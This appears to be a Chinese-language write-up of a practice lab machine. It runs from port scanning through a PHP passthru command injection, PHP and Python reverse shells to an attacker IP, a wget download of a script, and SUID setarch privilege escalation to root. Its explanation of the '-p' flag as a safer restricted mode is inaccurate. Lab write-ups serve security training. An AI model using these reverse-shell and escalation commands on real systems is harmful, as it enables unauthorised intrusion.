靶机练习6

32 阅读1分钟

靶机6

信息收集

先nmap扫描58网段发现目标主机192.168.58.139开放22和80端口

再详细扫描一下,多了一个mysql的33060和一个http 的7755

再dirsearch对两个网站扫描一下敏感目录,发现了两网站都有backup

把两个网站都打开看一下,发现是7755的能打开,

发现一个明显的command文件,点开看看一片空白,不代表没东西,f12看看,发现有php的危险函数passthru 这里的意思是我们可以以get的形式传参backup来执行命令

先执行个系统命令看看有没有用,发现有用

因为可以执行系统命令了,接下来就可以考虑可不可以反弹shell

利用php来反弹命令:php -r '$sock=fsockopen("10.16.0.78",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

kali开启监听

在kali的tmp命令下写个脚本ky.sh并开启http服务

使用命令wget http:10.16.0.78/ky.sh -O /tmp/ky.sh下载到靶机上

再用命令chmod 777 /tmp/ky.sh给个权限

看下下到了没

运行一下脚本,(不知道为什么我这死活连不上)

用python进行反弹shell 命令python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.16.0.78",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

成功登陆shell,接下来进行提权

发现一个/usr/bin/passwd的文件,先进入/usr/bin里面去看看

在/usr/bin里面找到一个命令setarch

命令的作用

  • setarch:用于设置程序执行的架构环境,可以让程序在特定的架构下运行,比如在 64 位系统中运行 32 位程序等。
  • $(arch):是一个命令替代语法,arch 命令用于打印系统的硬件架构,$(arch) 会先执行 arch 命令,并将它的输出插入到这个位置,从而动态地根据系统的实际架构来确定要使用的 shell 的路径。
  • /bin/sh:是 Linux 系统中的一个标准 shell,用于执行用户的命令。
  • -p:用于告诉 shell 以受限的特权模式运行,在这种模式下,shell 不会执行用户的启动文件,也不会处理一些特殊的变量设置,确保在一个更干净、更安全的环境中运行 shell

接下来进入公共目录/tmp下用命令setarch $(arch)/bin/sh -p 进行提权,提权成功

进入root家目录,找到文件proof.txt